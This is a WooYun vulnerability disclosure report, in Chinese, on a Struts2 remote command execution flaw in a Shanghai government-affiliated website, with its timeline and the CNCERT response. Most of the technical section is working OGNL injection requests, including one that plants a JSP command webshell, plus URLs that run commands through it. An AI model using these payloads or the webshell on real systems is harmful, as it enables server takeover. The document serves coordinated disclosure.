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缺陷编号:wooyun-2015-0162143

漏洞标题:上海基层党建网远程命令执行(可getshell)

相关厂商:上海基层党建网

漏洞作者: 路人甲

提交时间:2015-12-17 18:12

修复时间:2016-02-04 17:47

公开时间:2016-02-04 17:47

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-12-17: 细节已通知厂商并且等待厂商处理中
2015-12-21: 厂商已经确认,细节仅向厂商公开
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2016-02-04: 细节向公众公开

简要描述:

远程执行命令,可随意写入各种shell......

详细说明:

访问url:

http://**.**.**.**/home2/login.action


如下图:

QQ20151217-7@2x.jpg


看到.action路径,看看是否存在命令执行漏洞:

POST /home2/login.action HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=0000zixCFE_trjmZB_a0TslU7cF:17vj1u2gq; _gscu_168127336=50335137cn6lxp16; _gscbrs_168127336=1; Hm_lvt_3a9042c73cc61230a77e846d4576100c=1450255872,1450334437; Hm_lpvt_3a9042c73cc61230a77e846d4576100c=1450335494; aaaaaaa=b805003caaaaaaa_b805003c
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 258
--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}"
-1
--------------------------5423a63046c50524a84963968721


执行成功,爆出服务器路径:

QQ20151217-8@2x.jpg


尝试写入webshell(excuteError.jsp):

POST /home2/login.action HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=0000zixCFE_trjmZB_a0TslU7cF:17vj1u2gq; _gscu_168127336=50335137cn6lxp16; _gscbrs_168127336=1; Hm_lvt_3a9042c73cc61230a77e846d4576100c=1450255872,1450334437; Hm_lpvt_3a9042c73cc61230a77e846d4576100c=1450335494; aaaaaaa=b805003caaaaaaa_b805003c
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 680
--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${"x"+(new **.**.**.**.PrintWriter("/opt/IBM/WebSphere/AppServerND/profiles/AppSrv01/installedApps/sxpt-03Cell01/idealpbw_20140618_war.ear/idealpbw_20140618.war/excuteError.jsp")).append("<%if(\"023\".equals(request.getParameter(\"pwd\"))){**.**.**.**.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream()\u003bint a = -1\u003bbyte[] b = new byte[2048]\u003bout.print(\"<pre>\")\u003bwhile((a=in.read(b))!=-1){out.println(new String(b))\u003b}out.print(\"</pre>\")\u003b}%>").close()}"
-1
--------------------------5423a63046c50524a84963968721


继续执行成功:

QQ20151217-9@2x.jpg


漏洞证明:

访问刚刚传上去的webshell,并执行系统命令回显:

http://**.**.**.**/home2/excuteError.jsp?pwd=023&i=ls%20/


QQ20151217-10@2x.jpg


http://**.**.**.**/home2/excuteError.jsp?pwd=023&i=ls%20/opt/IBM/WebSphere/AppServerND/profiles/AppSrv01/installedApps/sxpt-03Cell01/idealpbw_20140618_war.ear/idealpbw_20140618.war/


QQ20151217-11@2x.jpg

修复方案:

赶紧将struts2升级到最新版本吧!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-12-21 17:44

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给上海分中心,由其后续协调网站管理单位处置.

最新状态:

暂无